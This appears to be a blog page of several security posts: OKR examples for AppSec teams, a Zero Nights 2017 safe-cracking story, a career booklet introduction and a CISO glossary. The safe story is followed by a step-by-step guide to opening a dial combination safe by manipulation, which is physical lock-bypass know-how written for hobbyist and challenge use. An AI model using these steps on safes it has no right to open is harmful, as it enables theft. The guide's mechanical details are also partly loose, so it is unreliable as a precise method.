Originally developed at Intel by Andy Grove and popularized by John Doerr who introduced them to Google in 1999, OKRs have transformed how organizations set and execute their strategies . The framework's beauty lies in its simplicity: an Objective is a qualitative, inspirational goal that describes what you want to achieve, while Key Results are 3-5 measurable outcomes that track how you'll achieve that objective . Unlike traditional performance indicators, OKRs are designed to be ambitious—with Google expecting a 60-70% completion rate for stretch goals—encouraging teams to reach beyond business-as-usual targets .

For security professionals working in Application Security (AppSec) and DevSecOps, where threats evolve rapidly and resources are often constrained, OKRs provide a framework to focus efforts on security initiatives that deliver genuine risk reduction rather than simply tracking routine activities. This article explores how security teams can leverage OKRs to translate security strategy into measurable action, with practical examples you can adapt for your organization.

Why OKRs Matter for Security Teams

In many organizations, security teams struggle to demonstrate their value in business-relevant terms. They may report on technical metrics like vulnerabilities patched or scans completed, but these rarely connect to broader business objectives. OKRs solve this challenge by forcing teams to think about outcomes rather than outputs—not just what we're doing, but why it matters .

The F.A.C.T.S. framework summarizes the benefits of OKRs: Focus, Alignment, Commitment, Tracking, and Stretching . For security leaders, this means:

Focus: Prioritizing the few critical security initiatives that deliver disproportionate risk reduction
Alignment: Ensuring application security, product teams, and infrastructure groups are working toward shared security goals
Commitment: Creating shared accountability for security outcomes across engineering and security teams
Tracking: Measuring progress with leading indicators rather than lagging security metrics
Stretching: Encouraging ambitious goals that move security beyond compliance to genuine resilience

OKR Examples for Application Security and DevSecOps

Here are six practical OKR examples tailored for security teams in software development organizations. These examples balance ambitious security goals with measurable outcomes, drawing from industry best practices and the specific characteristics of effective OKRs .

1. Reducing Critical Vulnerabilities in Production

Table: OKR for Vulnerability Reduction

Component	Description	Target
Objective	Dramatically reduce exposure to critical vulnerabilities in production applications
Key Result 1	Reduce critical-severity vulnerabilities in production by 75%	0.0-1.0 scale
Key Result 2	Achieve 95% remediation of critical vulnerabilities within SLA	0.0-1.0 scale
Key Result 3	Decrease mean time to remediate (MTTR) critical vulnerabilities from 30 to 7 days	0.0-1.0 scale

Grading: Score each KR on a 0.0-1.0 scale where 1.0 = 100% target achievement. Total OKR score = average of KR scores. A score of 0.7 would be considered successful for this stretch goal.

2. Shifting Left Security Testing

Objective: Successfully shift security left into the development lifecycle

KR1: Increase code scanned by SAST in CI/CD from 50% to 90%
KR2: Reduce security-related bugs found in production by 60%
KR3: Achieve 80% of developers completing secure coding training

3. Improving Dependency Management

Objective: Ensure third-party dependencies don't introduce unacceptable risk

KR1: Reduce critical vulnerabilities in dependencies by 80%
KR2: Achieve 95% of applications with software bill of materials (SBOM)
KR3: Decrease mean time to patch vulnerable dependencies from 45 to 14 days

4. Enhancing Security Culture

Objective: Make security everyone's responsibility in the engineering organization

KR1: Increase developer participation in security champions program by 200%
KR2: Achieve 85% positive response on "security is prioritized" in developer survey
KR3: Double the number of security bug reports from engineers

5. Accelerating Incident Response

Objective: Significantly improve our capability to detect and respond to application security incidents

KR1: Reduce mean time to detect (MTTD) application security incidents from 48 to 4 hours
KR2: Achieve 95% of incidents contained within 1 hour of detection
KR3: Conduct incident response drills for 100% of critical applications

6. Implementing Security Metrics That Matter

Objective: Establish leading indicators for application security risk

KR1: Implement security metrics dashboard with 10 key leading indicators
KR2: Achieve 90% of engineering managers regularly using security metrics
KR3: Reduce variance between predicted and actual security incidents by 75%

Implementing OKRs in Security Teams: Practical Guidance

Based on successful implementations at companies like Adobe and LinkedIn, here's how to effectively roll out OKRs in your security organization :

Start with Why

Before implementing OKRs, help your team understand why this framework matters. Share examples from organizations like Google, where OKRs have been credited with helping achieve "10× growth, many times over" . Explain how OKRs differ from traditional security metrics: while KPIs (Key Performance Indicators) measure ongoing health of security processes, OKRs are designed to drive change and improvement .

Adoption Strategy

Take a "crawl-walk-run" approach to implementation . Begin with a pilot team—perhaps your application security group or cloud security team—rather than attempting a full-scale deployment across all security functions immediately. Use the first cycle to learn about OKRs, and reserve the second cycle to explore how best to scale the program.

Avoiding Common Pitfalls

Security teams often make these mistakes when implementing OKRs:

Too many OKRs: Focus on 3-5 objectives per team per quarter
Business as usual: OKRs should represent change, not routine operations
Sandbagging: Set ambitious goals that inspire stretched performance
Measuring outputs rather than outcomes: Focus on risk reduction rather than activities completed

Grading and Assessment

Google grades OKRs on a 0.0-1.0 scale, where 0.6-0.7 is considered successful for stretch goals . Grade your OKRs at the end of each quarter and use this as a learning exercise rather than a performance evaluation. If you consistently score 1.0 on all KRs, your goals aren't ambitious enough. If you're consistently below 0.4, you may be setting unrealistic targets.

Connecting to Larger Business Goals

As the city of Syracuse, NY demonstrated with their fiscal sustainability OKRs , the power of OKRs comes from connecting team objectives to larger organizational goals. Ensure your application security OKRs support broader technology and business objectives, such as product innovation, customer trust, or operational excellence.

Aligning OKRs with Security Frameworks

Your OKRs should complement rather than replace established security frameworks like NIST CSF, ISO 27001, or SOC 2. While these frameworks provide essential guidance on security controls, OKRs help you prioritize which aspects to implement or improve first. For example:

NIST Identify function → OKR focused on asset management
NIST Protect function → OKR focused on access control improvements
NIST Detect function → OKR focused on monitoring capabilities
NIST Respond function → OKR focused on incident response
NIST Recover function → OKR focused on resilience

Conclusion: Making Security Measurable and Meaningful

OKRs offer security leaders a powerful framework to translate security strategy into measurable action. By focusing on outcomes rather than activities, AppSec and DevSecOps teams can demonstrate their value in terms that matter to the business—reducing risk, enabling secure innovation, and building customer trust.

As John Doerr emphasizes in Measure What Matters, OKRs are "KPIs with soul" — they add direction, purpose, and context to your security metrics. Whether you're part of a 50-person software company or a large enterprise, OKRs can help align your security efforts with business objectives, create transparency, and drive meaningful improvement in your security posture.

Start by selecting one or two of the OKR examples provided and adapting them to your context. Remember that the ideal OKR score is around 0.6-0.7—if you're achieving perfect scores, you're not stretching enough. Embrace ambitious goals, measure what matters, and watch your security program deliver unprecedented value.

Call to Action

What OKRs is your security team using? Share your experiences and adaptations in the comments below—I'd love to hear what's working (and what isn't) for your organization.

Disclaimer: The OKR examples provided are illustrative and should be adapted to your organization's specific context, risk appetite, and maturity level. Not all OKRs will be appropriate for all organizations.

Cracking the Vault: A Nostalgic Hack at Zero Nights 2017 🚪💻

Ivan Piskunov — Mon, 27 Oct 2025 03:30:00 +0000

0. Introduction: Where Hackers Family Reunites

Picture this: Moscow, November 2017. The air is crisp, the coffee is strong, and the room buzzes with the energy of hundreds of security enthusiasts wearing everything from corporate polos to hacker hoodies. This was Zero Nights - not just another security conference, but something closer to a family reunion for the Russian infosec community.

Back in my university days (circa 2009-2010), I had cut my teeth on CTF competitions with my team Cr@zY Geek$ . Those late nights solving challenges created bonds that lasted years. Now, as a established security specialist and journalist for "Hacker" magazine, I was returning to this playground with both my notebook and my curiosity ready for action. Little did I know I'd soon be part of a team that would crack an analog safe using nothing but wits and patience - no brute force allowed!

1. Zero Nights 2017: More Than Just Talks

Zero Nights wasn't your typical stuffy security conference. It had established itself as Russia's answer to DEF CON with its unique blend of cutting-edge research, hands-on challenges, and unforgettable parties. The 2017 edition continued this tradition with:

Mind-bending talks on everything from critical infrastructure vulnerabilities to novel web exploitation techniques
Live hacking villages where attendees could try their skills on various systems
Hardware hacking zone filled with gadgets begging to be disassembled
The infamous "safe cracking challenge" that would become my obsession for the next 24 hours

What made Zero Nights special was its emphasis on community rather than commercialization. Unlike corporate events, this felt like a gathering of friends who happened to be obsessed with breaking things to make them stronger - the true hacker ethos in action!

2. The Safe-Cracking Challenge: No Brute Force Allowed! 🎯🔒

The challenge appeared simple on the surface: "Open the analog safe without force". The vintage Soviet-era safe stood in the corner almost mockingly, its dial seeming to dare hackers to try their luck. The rules were straightforward:

No physical damage to the safe whatsoever
No power tools or destructive methods
Teams of up to 5 people could participate
First to open it would win glory and prizes

For a crowd used to binary exploitation and web app attacks, this mechanical beast presented a completely different kind of challenge. We couldn't rely on our usual arsenal of scripts, debuggers, or exploit code . This was back-to-basics security research at its finest - understanding a system through analysis rather than aggression.

3. Assembling the A-Team: Hackers vs. Hardware 🤝🔧

As a journalist, I had come to cover the event, but the challenge was too tempting to resist.

We were the perfect ragtag team of digital specialists facing an analog problem. Our first approaches were predictably "digital-minded":

"Maybe there's a side-channel attack on the dial?"
"Could we acoustically analyze the clicks?"
"What about thermal imaging to see the mechanism?"

After several hilarious failed attempts (including trying to use a stethoscope app on someone's smartphone), we stepped back to actually understand how mechanical safes work.

4. The Eureka Moment: Listening to the Mechanics 👂🔊

Mechanical safes typically use a wheel pack mechanism where each wheel corresponds to a number in the combination. When the dial is turned, there are subtle auditory and tactile feedback points that indicate when a wheel is correctly aligned. Our breakthrough came when we realized:

The third number had the least resistance when aligned correctly
There was a barely perceptible "click" that could be felt more than heard
The dial had slight variations in tension at certain points

We divided responsibilities: Dmitry with his sensitive hands focused on the tactile feedback, Anna with her perfect pitch listened for auditory clues, Max kept precise track of positions, Irina researched similar safe models on her phone, and I coordinated our efforts and documented the process.

After three hours of meticulous testing (and several coffee breaks), we had mapped out likely numbers for each part of the combination. The real magic happened when we realized the mechanism required specific sequencing rather than just raw numbers - something that reminded me of timing attacks in cryptography .

5. Victory! The Sweet Sound of Success 🏆🎉

The moment of truth came at 4:37 PM on the second day of the conference. After countless iterations and adjustments based on our observations, Dmitry slowly turned the dial through what we believed was the correct combination: 17-33-49.

There was a satisfying clunk that was music to our ears. The handle turned smoothly, and the heavy door swung open to reveal... well, honestly just some conference swag inside, but that wasn't the point! We had outsmarted, not overpowered, the mechanical beast.

The crowd that had gathered around cheered - at hacker conferences, everyone celebrates others' successes because we all understand the thrill of the solve. In that moment, we weren't competitors but fellow explorers who had collectively cracked a puzzle.

6. Lessons from the Safe: Why Hardware Hacking Matters 🔍📠

This exercise taught us valuable lessons that applied directly to our digital security work:

Systems have physical elements that can be exploited - something often forgotten in cloud-centric security
Patience and observation often beat brute force in both analog and digital domains
Interdisciplinary teams bring diverse perspectives that crack tough problems
Understanding how something is built is the first step to understanding how to break it

The safe challenge embodied the true hacker spirit: we didn't want to damage the safe, we wanted to understand it. Just like in CTF competitions , the goal wasn't destruction but mastery through comprehension - breaking to build better.

7. Conclusion: Keeping the Hacker Spirit Alive 🧡🔓

Looking back at Zero Nights 2017 through the lens of time, I'm filled with nostalgia for that incredible community atmosphere. The safe-cracking challenge wasn't just a fun diversion - it was a living example of hacker culture at its best:

Curiosity-driven exploration without malicious intent
Collaborative problem-solving that transcended competitive instincts
Respect for systems even while figuring out how to bypass them
Pure joy of learning through hands-on experience

In our increasingly digital world, there's something special about physical challenges that bring people together in shared space and time. The emotions and highs from that safe-cracking victory stayed with me far longer than any corporate penetration test finding.

So here's to the hackers, the breakers, the curious minds who take things apart to see how they work - may our culture of creative exploration never fade! Whether it's exploiting a binary , finding a web vulnerability , or cracking an analog safe, the spirit remains the same: "It's there, let's see how it works!"

// D3One, nostalgic hacker and safe cracker extraordinaire

Understanding the Adversary: How a Combination Lock Works

Most dial combination locks on safes use a simple mechanism called a wheel pack.

The dial is connected to a spindle.
The spindle runs through several wheels (usually 3 or 4 for a 3 or 4-digit code).
Each wheel has a notch (called a "gate") cut into it.
When you turn the dial, you are aligning these wheels.
A metal lever (the "fence") drops into these aligned notches only when the correct combination is entered, allowing the bolt to be retracted and the safe to open.

The trick is to find where those notches are without knowing the combination.

The Hacker's Toolbox: What You Need

Your Hands: For feeling subtle resistance.
Your Ears: For listening to clicks. A quiet environment is crucial.
A Stethoscope (Optional but highly recommended): The classic tool. The cup is placed on the safe's door near the lock mechanism to amplify internal sounds. In a pinch, a glass or a screwdriver held to your ear and against the door can work.
Patience and a Notepad: This is a methodical process.

Step-by-Step Attack Plan: Cracking the Code

Let's assume a standard 3-number combination lock (e.g., 45-20-75). The process is similar for 4-number locks, just longer.

Step 1: Find the Contact Points (The "Sticking" Points)

This step finds the last number of the combination.

Turn the dial clockwise (to the right) at least four full rotations. This ensures all wheels are engaged and you're starting from a known state.
Place your stethoscope on the door near the dial.
Very, very slowly turn the dial counterclockwise (to the left). Listen and feel intently.
You will feel and hear a subtle "click" or a point of increased resistance approximately every few numbers. These are not the gates, but points where the drive pin contacts a wheel.
Write down all these "sticking" points. You might get 6-12 of them. For example: 12, 19, 32, 45, 58, 63, 75, 88.
The correct last number is usually the one that sticks the most or has the loudest click, and it will be a number that is a multiple of the lock's "drive point" (often 4 or 5 on many locks). From our list, 45, 75, and 88 are candidates. 75 is often a very common one. Let's assume our last number is 75.

Step 2: Find the First Number

This is the most time-consuming part.

Turn the dial clockwise (right) at least four full rotations to reset.
Turn left to your first candidate for the first number. Let's start with 12.
Now, with slight pressure on the dial, turn it slowly to the right. You are trying to feel for the point where the fence "drops" into the gate of the first wheel.
You are looking for a "false gate" – a point where the dial becomes slightly harder to turn for a few numbers and then gets easier again. The width of this hard spot is important. Note it down.
Repeat this process for every single number on the dial (0-99) or at least for all the sticking points you found in Step 1. This is why it takes hours.
The correct first number will have a noticeably wider "false gate" area than all the others. For example, all other numbers might have a hard spot 2 numbers wide, but when you hit 45, the hard spot might be 5-6 numbers wide.
Let's assume we found that 45 has the widest false gate. So our first number is 45. Our partial combo is 45 - ?? - 75.

Step 3: Find the Middle Number (Brute Force the Last Digit)

Now that you have the first and last numbers, the middle number is easy to brute force.

Turn the dial right at least four times.
Turn left and stop on your first number: 45.
Turn right one full rotation and stop on 45 again. (This is crucial to engage the second wheel).
Now, turn right very slowly from 45 towards your last number (75).
As you turn, you will feel the fence "fall" into the gate of the middle wheel. The dial will "hiccup," stutter, or feel loose for a moment. This is the magic moment!
Note the number where this "hiccup" occurs. This is your middle number. Let's say it happens at 20.
You now have the full combination: 45 - 20 - 75.

Step 4: Open the Safe

Turn right 4 times to reset.
Turn left, stop on 45.
Turn right, pass 45 once, stop on 20 on the second time.
Turn left, stop directly on 75.
Turn the handle. The safe should open.

Example of a Successful Session (Abridged)

Investigator: (After 30 mins of slow turning) "Okay, sticking points noted: 10, 25, 40, 55, 70, 85. The one at 40 feels the strongest. Let's tentatively set the last number to 40."
Investigator: (After 2 hours of testing every number) "All the false gates are 2 numbers wide except for 70. The dial got really stiff from 68 to 74. That's 6 numbers wide! First number must be 70."
Investigator: "Okay, last number 40, first number 70. Now to find the middle... Let's go to 70, rotate right once, back to 70, and now slowly towards 40... come on... come on... There! A tiny slip at 15! Got it!"
Investigator: "Combination is 70... 15... 40." (Turns dial: R4, L to 70, R past 70 once to 15, L directly to 40). CLUNK.
Investigator: "And we're in."

What's your most memorable hacking challenge? Share your stories below!

Zero 2 Hero. The Chance for a Better Life Given by Cybersecurity

Ivan Piskunov — Thu, 16 Oct 2025 04:20:00 +0000

About This Publication

This booklet is a free visual and reference aid created to accompany Ivan’s personal talks for students, graduate researchers, and young scientists at universities, specialized IT/cybersecurity schools, and tech parks. It’s also for anyone interested in Ivan's biography, career path, and personal growth from his first university graduation in 2010 to the present day (January 2025).

This material is designed to be informative, to provide deeper context, and to back up key points from his presentations with tangible evidence. Ivan will share his success story—his journey from a tech support specialist to a CISO and a tech startup founder. The content draws on his 15 years of experience in the cybersecurity industry, his commitment to self-education and growth, his work as a public speaker, and his technical and research publications and accelerator program participation.

Furthermore, the booklet is packed with practical advice, actionable tips, and recommendations for developing both professional and personal skills, learning techniques, and strategies for presenting yourself, finding opportunities, and making them happen.

Every kid dreams of becoming a legend—making it big, buying a house, moving somewhere new, starting a business, changing the world. Here’s the truth: YOU have what it takes to be that legend. Ivan’s story is living proof that opportunities are out there. It shows that everyone has the potential to build a fulfilling life, achieve financial security, and even make their own dent in the universe.

YOU are the opportunity!

About the Extended Author’s Edition

You are reading the extended author’s edition of this booklet. This version goes beyond the original “academic” edition, which was primarily distributed at universities and scientific institutions in Moscow and focused on illustrating Ivan’s career path from a fresh graduate to an exclusive technical expert and, subsequently, a Chief Information Security Officer (CISO).

This new edition includes additional material that provides a broader perspective on the topics discussed. It presents facts, arguments, quotes, expert opinions, and excerpts from research to substantiate the author's claims. Some chapters also include content that, while slightly off the core topic, is crucial for forming your own informed opinions and key takeaways.

The information herein, including specific facts, arguments, statistics, and expert viewpoints, is aggregated from publicly available Russian and English-language sources. The responsibility for the accuracy of this source material lies solely with its original authors.

This booklet does not advocate for any rash actions, nor does it promote or endorse any specific viewpoint, country, product, technology, or methodology. All information is presented “as is” and is intended for a mature, critically thinking audience that is open to learning, evolving, and forming its own conclusions. Every reader has the fundamental and undeniable right to make their own choices and live the life they decide for themselves.

The core mission of this booklet is to show you how to unlock your inner potential, seize opportunities, and unleash your talents through the powerful example of Ivan’s career and personal journey, which was built on a foundation of cybersecurity.

Its central message is:
“Don’t wait — act.”
“Don’t look for opportunities — create them.”
“Don’t rely on others — take charge of your own life.”
“Face your fears and acknowledge your flaws.”
“Don’t resent criticism — work on your weaknesses.”
“Don’t live for others — live for yourself and your loved ones.”
“Change yourself to change the world for the better.”

It’s about more than just becoming an expert or a top-tier specialist; it’s about becoming a leader in your field. It’s about living not just where you were born, but where you want. Not how you were raised to live, but how you choose to live. Earning not what someone else dictates, but what you’re truly worth. It’s about breaking free from the confines of a cubicle and a cramped apartment, shedding the social role and limiting beliefs you were born into. It’s about becoming the best version of yourself so you can use your gifts to make a real impact.

Ivan walked this path. So can you!

You, the person reading this right now, have the right to a life of dignity. Your success will inspire many; your failure will help no one.

You are the opportunity!

CISO 101: What the Terms Mean—and How to Use Them With the Business

Ivan Piskunov — Mon, 13 Oct 2025 04:20:00 +0000

Introduction

This article is a pocket glossary for CISOs—the executive responsible for a company’s cybersecurity strategy and program. It’s for CISOs and their deputies, CIOs/CTOs, business-unit leaders, product owners, and board members. The goal is simple: translate security into the language of executive decision-making—money, risk, SLAs, and impact on revenue and customers.

CISO Glossary (by theme)

1) Role & Governance

CISO (Chief Information Security Officer) — Owns security strategy and the company’s security program: policy, budget, operations, and reporting to the CEO/board.
BISO (Business ISO) — A “frontline” security leader embedded in a specific BU; lands the CISO’s strategy against business goals.
Security Steering Committee — A cross-functional forum to prioritize security investments and risks.
RACI — Role matrix: Responsible/Accountable/Consulted/Informed.
Three Lines Model — 1st line (process owners), 2nd (risk/compliance), 3rd (audit).
TOM (Target Operating Model) — The future-state operating model of the security function.

2) Risk & Strategy

Risk Appetite / Tolerance — The level of risk leadership is willing to accept.
Risk Register — A catalog of risks with owners and treatment plans.
Inherent / Residual Risk — Risk before/after controls.
FAIR (quantitative) — Money-based cyber risk analysis.
Risk Treatment — Avoid/Transfer/Reduce/Accept.
Risk Acceptance — Formal sign-off on residual risk with business justification.

3) Metrics & Reporting

KPI / KRI — Performance indicators and risk indicators.
MTTD / MTTR — Mean time to detect / to recover.
Coverage — Percent of assets covered by required controls (e.g., critical vuln closure rate).
Risk Reduction — Measurable risk delta after a control is implemented.
Heat Map / Scorecard — Visualizations of risk and program health.

4) Policy & Compliance

ISMS (ISO/IEC 27001/27002) — Security management system and control catalog.
NIST CSF — Identify–Protect–Detect–Respond–Recover framework.
SOC 2 — Reporting on Trust Services Criteria (Security/Availability/Confidentiality, etc.).
PCI DSS — Requirements for handling payment card data.
Privacy (GDPR/CPRA/HIPAA/GLBA) — Privacy regulations and sector standards.
DPA / Contractual Controls — Contract-level obligations and additional vendor controls.

5) Identity & Access

IAM — Roles, policies, federation; principle of least privilege.
PAM — Privileged access governance and session oversight.
MFA (phishing-resistant) — Strong factors (FIDO2/WebAuthn preferred).
SSO / Federation — Single sign-on and cross-domain trust.
JML (Joiner–Mover–Leaver) — Access lifecycle for hires/moves/departures.
Zero Trust — Verify every session; never trust the network by default.

6) Architecture & Cloud

Shared Responsibility — What the cloud provider vs. customer secures.
Landing Zone — Reference cloud foundation (accounts, network, guardrails).
Baseline / Guardrails — Mandatory policies/limits (e.g., no public S3 by default).
CSPM / CIEM / CWPP — Config, identity, and workload security in cloud.
KMS / BYOK / HYOK — Key ownership and placement models.
IMDSv2 / Temporary Credentials — Safer metadata access and short-lived keys in EC2.

7) Software Development & Delivery

Secure SDLC — Security at each stage; shift-left practices.
Threat Modeling — Systematic analysis of attack paths for designs/features.
SAST / DAST / IAST / SCA — Static/dynamic/interactive testing and software composition analysis.
SBOM — Software bill of materials for supply-chain visibility.
Secrets Management — Secure storage and rotation of credentials.
DevSecOps / IaC Security — “Security as code” in CI/CD and infrastructure.

8) Operations & Detection

Asset Inventory — Accurate asset register; no control works without it.
EDR/XDR — Endpoint and extended detection & response.
SIEM / SOAR — Event correlation and response automation.
Detection Engineering — Building detections for your threat profile.
Vulnerability Management — Prioritization (CVSS/EPSS), patch orchestration.
Playbooks/Runbooks — Standardized incident response steps.
Tabletop / Purple Team — Exercises and joint Blue+Red drills.
CTI (Threat Intel) — Threat TTPs and actionable intelligence feeds.

9) Resilience & Crisis Management

BCP/DRP — Business continuity and disaster recovery.
RTO/RPO — Recovery time and recovery point objectives.
Backups (immutable) — Tamper-proof backups and restore testing.
SEV Levels / Escalation — Incident severity and escalation criteria.
RCA / PIR — Root cause analysis and post-incident review with actions.

10) Vendors & Finance

Third-Party Risk / TPRM — The full vendor-risk lifecycle.
SLA/SLO/OLA — Availability and support objectives in contracts.
TCO / ROI / Payback — Economics of controls and security investments.
Cyber Insurance — Coverage scope and exclusions.
Roadmap / Budgeting — Security program planning and funding.

11) People & Culture

Security Awareness — Training that changes behavior measurably.
Phishing Simulation — Testing resilience to credential theft/social engineering.
Security Champions — Embedded advocates inside product teams.
Insider Risk — Managing internal misuse or abuse of access.
Hiring/Retention — Building and keeping critical security talent.

12) Executive Communication

Board Reporting — Business-grade metrics and risk narratives.
Risk Narrative — Scenario, likelihood, impact, and options—told clearly.
Executive Summary — Two pages or less: decisions and effects.
Metrics that Matter — Measures that affect customers/revenue/regulators.
Stakeholder Map — Who cares about what—and how to keep them aligned.

Conclusion

A CISO’s job isn’t merely “fix vulns.” It’s to manage risk so the business runs more reliably and grows. The clearer you express the value of controls in business units—dollars, SLAs, reputation—the stronger the security function’s impact. Learn the terms, align on metrics, and speak the language of the business—that’s how you build a security program that truly works.